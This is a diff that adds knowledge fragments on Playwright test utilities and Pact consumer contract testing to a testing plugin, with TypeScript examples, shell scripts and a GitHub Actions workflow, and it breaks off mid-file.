+| **Maintainability** | Clean code, tests, docs shipped together     | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability   |
+
+**Default**: If targets or evidence are undefined → **CONCERNS** (force team to clarify before sign-off)
+
+## Integration Points
+
+- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
+- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
+- **Tools by NFR Category**:
+  - **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
+  - **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
+  - **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
+  - **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
+
+_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/overview.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/overview.md
new file mode 100644
index 0000000..d637594
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/overview.md
@@ -0,0 +1,286 @@
+# Playwright Utils Overview
+
+## Principle
+
+Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
+
+## Rationale
+
+Writing Playwright utilities from scratch for every project leads to:
+
+- Duplicated code across test suites
+- Inconsistent patterns and quality
+- Maintenance burden when Playwright APIs change
+- Missing advanced features (schema validation, HAR recording, auth persistence)
+
+`@seontechnologies/playwright-utils` provides:
+
+- **Production-tested**: Used in enterprise production environments
+- **Functional-first design**: Core logic as pure functions, fixtures for convenience
+- **Composable fixtures**: Use `mergeTests` to combine utilities
+- **TypeScript support**: Full type safety with generic types
+- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
+- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/playwright-utils
+```
+
+**Peer Dependencies:**
+
+- `@playwright/test` >= 1.54.1 (required)
+- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
+- `zod` >= 3.0.0 (optional - for Zod schema validation)
+
+## Available Utilities
+
+### Core Testing Utilities
+
+| Utility                    | Purpose                                                                       | Test Context       |
+| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
+| **api-request**            | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend**    |
+| **recurse**                | Polling for async operations, background jobs                                 | **API/Backend**    |
+| **auth-session**           | Token persistence, multi-user, service-to-service                             | **API/Backend/UI** |
+| **log**                    | Playwright report-integrated logging                                          | **API/Backend/UI** |
+| **file-utils**             | CSV/XLSX/PDF/ZIP reading & validation                                         | **API/Backend/UI** |
+| **burn-in**                | Smart test selection with git diff                                            | **CI/CD**          |
+| **network-recorder**       | HAR record/playback for offline testing                                       | UI only            |
+| **intercept-network-call** | Network spy/stub with auto JSON parsing                                       | UI only            |
+| **network-error-monitor**  | Automatic HTTP 4xx/5xx detection                                              | UI only            |
+
+**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
+
+## Design Patterns
+
+### Pattern 1: Functional Core, Fixture Shell
+
+**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
+
+**Implementation**:
+
+```typescript
+// Direct import (pass Playwright context explicitly)
+import { apiRequest } from '@seontechnologies/playwright-utils';
+
+test('direct usage', async ({ request }) => {
+  const { status, body } = await apiRequest({
+    request, // Must pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+
+// Fixture import (context injected automatically)
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('fixture usage', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    // No need to pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+```
+
+**Key Points**:
+
+- Pure functions testable without Playwright running
+- Fixtures inject framework dependencies automatically
+- Choose direct import (more control) or fixture (convenience)
+
+### Pattern 2: Subpath Imports for Tree-Shaking
+
+**Context**: Import only what you need to keep bundle sizes small.
+
+**Implementation**:
+
+```typescript
+// Import specific utility
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+
+// Import specific fixture
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// Import everything (use sparingly)
+import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
+```
+
+**Key Points**:
+
+- Subpath imports enable tree-shaking
+- Keep bundle sizes minimal
+- Import from specific paths for production builds
+
+### Pattern 3: Fixture Composition with mergeTests
+
+**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
+
+// Merge all fixtures into one test object
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
+  await log.step('Making authenticated API request');
+
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines multiple fixtures without conflicts
+- Create one merged-fixtures.ts file per project
+- Import test object from your merged fixtures in all tests
+- All utilities available in single test signature
+
+## Integration with Existing Tests
+
+### Gradual Adoption Strategy
+
+**1. Start with logging** (zero breaking changes):
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('existing test', async ({ page }) => {
+  await log.step('Navigate to page'); // Just add logging
+  await page.goto('/dashboard');
+  // Rest of test unchanged
+});
+```
+
+**2. Add API utilities** (for API tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('API test', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+**3. Expand to network utilities** (for UI tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('UI with network control', async ({ page, interceptNetworkCall }) => {
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+  });
+
+  await page.goto('/dashboard');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toHaveLength(10);
+});
+```
+
+**4. Full integration** (merged fixtures):
+
+Create merged-fixtures.ts and use across all tests.
+
+## Related Fragments
+
+- `api-request.md` - HTTP client with schema validation
+- `network-recorder.md` - HAR-based offline testing
+- `auth-session.md` - Token management
+- `intercept-network-call.md` - Network interception
+- `recurse.md` - Polling patterns
+- `log.md` - Logging utility
+- `file-utils.md` - File operations
+- `fixtures-composition.md` - Advanced mergeTests patterns
+
+## Anti-Patterns
+
+**❌ Don't mix direct and fixture imports in same test:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils';
+import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+
+test('bad', async ({ request, authToken }) => {
+  // Confusing - mixing direct (needs request) and fixture (has authToken)
+  await apiRequest({ request, method: 'GET', path: '/api/users' });
+});
+```
+
+**✅ Use consistent import style:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+
+test('good', async ({ apiRequest, authToken }) => {
+  // Clean - all from fixtures
+  await apiRequest({ method: 'GET', path: '/api/users' });
+});
+```
+
+**❌ Don't import everything when you need one utility:**
+
+```typescript
+import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
+```
+
+**✅ Use subpath imports:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
+```
+
+## Reference Implementation
+
+The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
+
+**Repository:** <https://github.com/seontechnologies/playwright-utils>
+
+**Key resources:**
+
+- **Test examples:** `playwright/tests` - All utilities in action
+- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
+- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
+
+**Quick start:**
+
+```bash
+git clone https://github.com/seontechnologies/playwright-utils.git
+cd playwright-utils
+nvm use
+npm install
+npm run test:pw-ui  # Explore tests with Playwright UI
+npm run test:pw
+```
+
+All patterns in TEA fragments are production-tested in this repository.
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-consumer-di.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-consumer-di.md
new file mode 100644
index 0000000..fd2b9ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-consumer-di.md
@@ -0,0 +1,310 @@
+# Pact Consumer DI Pattern
+
+## Principle
+
+Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
+
+The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
+
+## Rationale
+
+### The Problem
+
+Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
+
+### Why NOT vi.mock
+
+`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
+
+### Comparison
+
+| Approach     | Production code change | Mock complexity            | Exercises real client | Contract accuracy           |
+| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
+| Raw fetch    | None                   | None                       | No                    | Low — hand-crafted requests |
+| vi.mock      | None                   | High — ESM hoisting issues | Yes                   | Medium — fragile setup      |
+| DI (baseUrl) | 2 lines                | None                       | Yes                   | High — real requests        |
+
+## Pattern Examples
+
+### Example 1: Production Code Change (2 Lines Total)
+
+**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
+
+**Implementation**:
+
+```typescript
+// src/types.ts
+export type ApiContext = {
+  jwtToken: string;
+  customerId: number;
+  adminUserId?: number;
+  correlationId?: string;
+  baseUrl?: string; // Override for testing (Pact mock server)
+};
+```
+
+```typescript
+// src/http-client.ts
+import axios from 'axios';
+import type { AxiosInstance } from 'axios';
+import type { ApiContext } from './types.js';
+import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
+
+function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
+  return axios.create({
+    baseURL: context.baseUrl ?? API_BASE_URL,
+    timeout: REQUEST_TIMEOUT,
+    headers: {
+      'Content-Type': 'application/json',
+      Accept: 'application/json',
+      Authorization: `Bearer ${context.jwtToken}`,
+      ...(context.correlationId && { 'X-Request-Id': context.correlationId }),
+    },
+  });
+}
+```
+
+**Key Points**:
+
+- `baseUrl` is optional — existing production code never sets it
+- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
+- Zero production behavior change — only test code provides the override
+- Two lines added total: one type field, one `??` fallback
+
+### Example 2: Shared Test Context Helper
+
+**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
+
+**Implementation**:
+
+```typescript
+// pact/support/test-context.ts
+import type { ApiContext } from '../../src/types.js';
+
+export function createTestContext(mockServerUrl: string): ApiContext {
+  return {
+    jwtToken: 'test-jwt-token',
+    customerId: 1,
+    baseUrl: `${mockServerUrl}/api/v2`,
+  };
+}
+```
+
+**Key Points**:
+
+- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
+- Single helper shared across all consumer test files — no repetition
+- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
+- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
+
+### Example 3: Before/After for a Simple Test
+
+**Context**: Migrating an existing raw-fetch test to call real consumer code.
+
+**Before** (raw fetch — tests Pact mock, not consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const response = await fetch(
+    `${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
+    {
+      headers: {
+        Authorization: "Bearer test-jwt-token",
+        "Content-Type": "application/json",
+      },
+    },
+  );
+  expect(response.status).toBe(200);
+  const body = (await response.json()) as Record<string, unknown>[];
+  expect(body).toEqual(expect.arrayContaining([...]));
+});
+```
+
+**After** (real consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const api = createApiClient(createTestContext(mockServer.url));
+  const result = await api.getFilterFields();
+  expect(result).toEqual(
+    expect.arrayContaining([
+      expect.objectContaining({
+        id: expect.any(String),
+        readable: expect.any(String),
+        filterType: expect.any(String),
+      }),
+    ]),
+  );
+});
+```
+
+**Key Points**:
+
+- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
+- Assertions validate the return value shape, not transport details
+- The real client's headers, timeout, and retry logic are exercised transparently
+- Less code, more coverage — the test is shorter and tests more
+
+### Example 4: Contract Accuracy Fix
+
+**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
+
+The real `getCustomerActivityCount(transactionId, dateRange)` sends:
+
+```json
+{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
+```
+
+The old test with raw fetch sent:
+
+```json
+{ "transactionId": "txn-123", "filters": {} }
+```
+
+This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
+
+**Implementation** — fix the contract to match reality:
+
+```typescript
+// WRONG — old contract with empty filters
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: { transactionId: "txn-123", filters: {} },
+})
+
+// CORRECT — matches what real code actually sends
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: {
+    transactionId: "txn-123",
+    filters: { dateRange: "last_30_days" },
+  },
+})
+```
+
+**Key Points**:
+
+- Contracts become discoverable truth, not hand-maintained guesses
+- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
+- The 500 Request-Mismatch from Pact was immediate and clear
+- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
+
+### Example 5: Parallel-Endpoint Methods
+
+**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
+
+**Implementation**:
+
+```typescript
+import { describe, it, expect } from 'vitest';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { makeApiRequestWithContext } from '../../src/http-client.js';
+import type { CountStatistics } from '../../src/types.js';
+import { createTestContext } from '../support/test-context.js';
+
+describe('Transaction Statistics - Count Endpoint', () => {
+  // ... provider setup ...
+
+  it('should return count statistics', async () => {
+    const statsRequest = { transactionId: 'txn-123', period: 'daily' };
+
+    await provider
+      .given('transaction statistics exist')
+      .uponReceiving('a request for transaction count statistics')
+      .withRequest({
+        method: 'POST',
+        path: '/api/v2/transactions/statistics/count',
+        body: statsRequest,
+      })
+      .willRespondWith({
+        status: 200,
+        body: { count: 42, period: 'daily' },
+      })
+      .executeTest(async (mockServer: V3MockServer) => {
+        const context = createTestContext(mockServer.url);
+        const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
+        expect(result.count).toBeDefined();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- Each Pact interaction verifies one endpoint contract
+- The `Promise.all` orchestration is internal logic, not a contract concern
+- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
+- Separate `it` blocks keep contracts independent and debuggable
+
+## Anti-Patterns
+
+### Wrong: Raw fetch — tests Pact mock, not consumer code
+
+```typescript
+// BAD: Raw fetch duplicates headers and URL assembly
+const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
+  method: 'GET',
+  headers: {
+    Authorization: 'Bearer test-jwt-token',
+    'Content-Type': 'application/json',
+  },
+});
+expect(response.status).toBe(200);
+```
+
+### Wrong: vi.mock with getter — fragile ESM hoisting
+
+```typescript
+// BAD: ESM hoisting makes this non-obvious and brittle
+vi.mock('../../src/constants.js', async (importOriginal) => ({
+  ...(await importOriginal()),
+  get API_BASE_URL() {
+    return mockBaseUrl;
+  },
+}));
+```
+
+### Wrong: Asserting HTTP status instead of return value
+
+```typescript
+// BAD: Status 200 tells you nothing about the consumer's parsing logic
+expect(response.status).toBe(200);
+```
+
+### Right: Call real consumer code, assert return values
+
+```typescript
+// GOOD: Exercises real client, validates parsed return value
+const api = createApiClient(createTestContext(mockServer.url));
+const result = await api.searchTransactions(request);
+expect(result.transactions).toBeDefined();
+```
+
+## Rules
+
+1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
+2. Zero production behavior change — existing code never sets `baseUrl`
+3. Assertions validate return values from consumer methods, not HTTP status codes
+4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
+5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
+6. Create a single shared test context helper — no repetition across test files
+7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
+
+## Integration Points
+
+- `contract-testing.md` — Foundational Pact.js patterns and provider verification
+- `pactjs-utils-consumer-helpers.md` — `createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
+- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
+- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
+- `api-testing-foundations.md` — API testing best practices
+
+Used in workflows:
+
+- `automate` — Consumer contract test generation
+- `test-review` — Contract test quality checks
+
+## Source
+
+Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-consumer-framework-setup.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-consumer-framework-setup.md
new file mode 100644
index 0000000..10557d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pact-consumer-framework-setup.md
@@ -0,0 +1,635 @@
+# Pact Consumer CDC — Framework Setup
+
+## Principle
+
+When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
+
+## Rationale
+
+The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
+
+## Pattern Examples
+
+### Example 1: Directory Structure & File Naming
+
+**Context**: Consumer contract test project layout using pactjs-utils conventions.
+
+**Implementation**:
+
+```
+tests/contract/
+├── consumer/
+│   ├── get-filter-fields.pacttest.ts    # Consumer test (one per endpoint group)
+│   ├── filter-transactions.pacttest.ts
+│   └── get-transaction-stats.pacttest.ts
+└── support/
+    ├── pact-config.ts                   # PactV4 factory (consumer/provider names, output dir)
+    ├── provider-states.ts               # Provider state factory functions
+    └── consumer-helpers.ts              # Local shim (until pactjs-utils is published)
+
+scripts/
+├── env-setup.sh                         # Shared env loader (sourced by all broker scripts)
+├── publish-pact.sh                      # Publish pact files to broker
+├── can-i-deploy.sh                      # Deployment safety check
+└── record-deployment.sh                 # Record deployment after merge
+
+.github/
+├── actions/
+│   └── detect-breaking-change/
+│       └── action.yml                   # PR checkbox-driven breaking change detection
+└── workflows/
+    └── contract-test-consumer.yml       # Consumer CDC CI workflow
+```
+
+**Key Points**:
+
+- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
+- Support files live in `tests/contract/support/`, not mixed with consumer tests
+- Shell scripts live in `scripts/` at project root, not nested inside test directories
+- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
+
+---
+
+### Example 2: Vitest Configuration for Pact
+
+**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
+
+**Implementation**:
+
+```typescript
+// vitest.config.pact.ts
+import { defineConfig } from 'vitest/config';
+
+export default defineConfig({
+  test: {
+    environment: 'node',
+    include: ['tests/contract/**/*.pacttest.ts'],
+    testTimeout: 30000,
+  },
+});
+```
+
+**Key Points**:
+
+- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
+- Keep it minimal — Pact tests run in Node environment with extended timeout
+- 30 second timeout accommodates Pact mock server startup and interaction verification
+- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
+
+---
+
+### Example 3: Package.json Script Naming
+
+**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
+
+**Implementation**:
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
+    "can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
+    "record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
+  }
+}
+```
+
+Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
+
+**Key Points**:
+
+- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
+- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
+- `PACTICIPANT` is set per-script invocation, not globally
+- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
+
+---
+
+### Example 4: Shell Scripts
+
+**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
+
+#### `scripts/env-setup.sh` — Shared Environment Loader
+
+```bash
+#!/bin/bash
+# -e: exit on error  -u: error on undefined vars (catches typos/missing env vars in CI)
+set -eu
+
+if [ -f .env ]; then
+  set -a
+  source .env
+  set +a
+fi
+
+export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
+export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
+```
+
+#### `scripts/publish-pact.sh` — Publish Pacts to Broker
+
+```bash
+#!/bin/bash
+# Publish generated pact files to PactFlow/Pact Broker
+#
+# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACT_DIR="./pacts"
+
+pact-broker publish "$PACT_DIR" \
+    --consumer-app-version="$GITHUB_SHA" \
+    --branch="$GITHUB_BRANCH" \
+    --broker-base-url="$PACT_BROKER_BASE_URL" \
+    --broker-token="$PACT_BROKER_TOKEN"
+```
+
+#### `scripts/can-i-deploy.sh` — Deployment Safety Check
+
+```bash
+#!/bin/bash
+# Check if a pacticipant version can be safely deployed
+#
+# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+ENVIRONMENT="${ENVIRONMENT:-dev}"
+
+pact-broker can-i-deploy \
+    --pacticipant "$PACTICIPANT" \
+    --version="$GITHUB_SHA" \
+    --to-environment "$ENVIRONMENT" \
+    --retry-while-unknown=10 \
+    --retry-interval=30
+```
+
+#### `scripts/record-deployment.sh` — Record Deployment
+
+```bash
+#!/bin/bash
+# Record a deployment to an environment in Pact Broker
+# Only records on main/master branch (skips feature branches)
+#
+# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+
+if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
+  pact-broker record-deployment \
+      --pacticipant "$PACTICIPANT" \
+      --version "$GITHUB_SHA" \
+      --environment "${npm_config_env:-dev}"
+else
+  echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
+fi
+```
+
+**Key Points**:
+
+- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
+- Use `pact-broker` directly, NOT `npx pact-broker`
+- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
+- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
+- `record-deployment` has branch guard (only records on main/master)
+- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
+
+---
+
+### Example 5: CI Workflow (`contract-test-consumer.yml`)
+
+**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
+
+**Implementation**:
+
+```yaml
+name: Contract Test - Consumer
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, edited]
+  push:
+    branches: [main]
+
+env:
+  PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+  PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+  GITHUB_SHA: ${{ github.sha }}
+  GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  consumer-contract-test:
+    if: github.actor != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+          cache: 'npm'
+
+      - name: Detect Pact breaking change
+        uses: ./.github/actions/detect-breaking-change
+
+      - name: Install dependencies
+        run: npm ci
+
+      # (1) Generate pact files
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      # (2) Publish pacts to broker
+      - name: Publish pacts to PactFlow
+        run: npm run publish:pact
+
+      # After publish, PactFlow fires a webhook that triggers
+      # the provider's contract-test-provider.yml workflow.
+      # can-i-deploy retries while waiting for provider verification.
+
+      # (4) Check deployment safety (main only — on PRs, local verification is the gate)
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      # (5) Record deployment (main only)
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+**Key Points**:
+
+- **Workflow-level `env` block** for broker secrets and git vars — not per-step
+- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
+- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
+- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
+- **Comment on (4)**: "on PRs, local verification is the gate"
+- **No upload-artifact step** — the broker is the source of truth for pact files
+- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
+- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
+- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}` — `head_ref` for PRs, `ref_name` for pushes
+
+---
+
+### Example 6: Detect Breaking Change Composite Action
+
+**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
+
+**Implementation**:
+
+Create `.github/actions/detect-breaking-change/action.yml`:
+
+```yaml
+name: 'Detect Pact Breaking Change'
+description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
+
+outputs:
+  is_breaking_change:
+    description: 'Whether the change is a breaking change (true/false)'
+    value: ${{ steps.result.outputs.is_breaking_change }}
+
+runs:
+  using: 'composite'
+  steps:
+    # PR event path: read checkbox directly from current PR body.
+    - name: Set PACT_BREAKING_CHANGE from PR description (PR only)
+      if: github.event_name == 'pull_request'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const prBody = context.payload.pull_request.body || '';
